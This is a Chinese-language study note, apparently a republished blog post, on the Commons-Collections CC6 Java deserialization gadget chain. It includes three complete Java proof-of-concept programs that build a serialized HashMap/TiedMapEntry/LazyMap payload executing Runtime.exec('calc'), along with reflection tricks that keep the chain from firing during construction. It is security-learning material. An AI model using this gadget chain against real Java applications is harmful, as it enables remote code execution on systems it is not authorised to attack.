自学内容网 自学内容网

CC6学习记录

🌸 cc6

cc6cc1的国外链其实后半条链子是一样的,但是cc6的不局限于jdk的版本和commons-collections的版本。

回忆一下cc1的后半条链子:

LazyMap.get()->InvokerTransformer.transform()

这里我们就结合了URLDNS链的思路,在URLDNS链中,我们知道HashMap中的readObject方法,调用了hashCode方法,如果我们能够找到某一个类的hashCode方法,在hashCode方法中调用了get方法。那么整个链子我们也是可以形成的。

之后便找到了TiedMapEntry类,在这个类中的hashCode方法调用了getValue方法

public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

查看TiedMapEntry类中的getValue方法,发现其中调用了get方法。此时到了这里就和之前的URLDNS链子的前面部分很类似!当我们创建一个HashMap,然后HashMap里面写入TiedMapEntry,当反序列化的时候,便会调用调用hash(key),从而调用key.hashCode()方法,而此时的key便是我们传入的TiedMapEntry对象。

那就可以直接利用cc1的后半条链直接继续完善:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6Test {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map<String, Object> map = new HashMap<>();
        Map lazymap = LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");

        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"bbb");
        
        serialization(map2);
        unserialization();
    }

    public static void serialization(Object o) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc66.bin"));
        objectOutputStream.writeObject(o);
        objectOutputStream.close();
    }

    public static void unserialization() throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc66.bin"));
        objectInputStream.readObject();
        objectInputStream.close();
    }
}

但是这还是会存在一个问题,就是当时在学习URLDNS链的时候,当map.put的时候,就触发了整个链子的执行,因此我们还是需要组织这个链子的执行!

🌸 绕过map.put触发攻击链

整个链子的前半部分其实和URLDNS链是非常类似的,在URLDNS链中我们需要绕过hashCode,因为在map.put()的时候,便已经将整个链子走完了,因此需要绕过一下。

首先HashMap里面放的是tiedMapEntry,而tiedMapEntry里面则放的是LazyMapLazyMap里面放的是ChainedTransformer,最后ChainedTransformer里面放的是Transformer。于是我们可以在put之前,将上述的任意一个置空,因为他们是嵌套的,所以只需要置空一个即可!

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6Test {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map<String, Object> map = new HashMap<>();
        //这里将LazyMap里面的factroy置空了
        Map lazymap = LazyMap.decorate(map, new ChainedTransformer(new Transformer[]{}));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");

        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"bbb");
        
        //当put结束之后,我们还需要通过反射机制,将原来的lazyMap改回去
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factory = lazyMapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,chainedTransformer);

//        serialization(map2);
        unserialization();
    }

    public static void serialization(Object o) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc66.bin"));
        objectOutputStream.writeObject(o);
        objectOutputStream.close();
    }

    public static void unserialization() throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc66.bin"));
        objectInputStream.readObject();
        objectInputStream.close();
    }
}

于是这里我们就绕过了put时触发。但是我们发现还是执行不了代码。继续看看put时发生了什么:

这里发现会判断key是不是存在,如果不存在,则会走进if,如果存在的话就直接return。我们反序列化的时候,肯定是为了进入if条件,从而执行factory.transform(key)方法!

所以我们需要在put执行完毕之后,将lazyMap里面的key删除掉。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6Test {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map<String, Object> map = new HashMap<>();
        Map lazymap = LazyMap.decorate(map, new ChainedTransformer(new Transformer[]{}));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");

        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"bbb");
        lazymap.remove("aaa");

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factory = lazyMapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,chainedTransformer);

//        serialization(map2);
        unserialization();
    }

    public static void serialization(Object o) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc66.bin"));
        objectOutputStream.writeObject(o);
        objectOutputStream.close();
    }

    public static void unserialization() throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc66.bin"));
        objectInputStream.readObject();
        objectInputStream.close();
    }
}
🌸 总结

cc6很像是URLDNS链和CC1的联合体。CC6也是基于commons-collection 3.2.1,但是CC6由于是HashMap作为入口,因此它并不依赖于jdk的版本,相当于是版本通杀的。


原文地址:https://blog.csdn.net/weixin_44770698/article/details/143808334

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!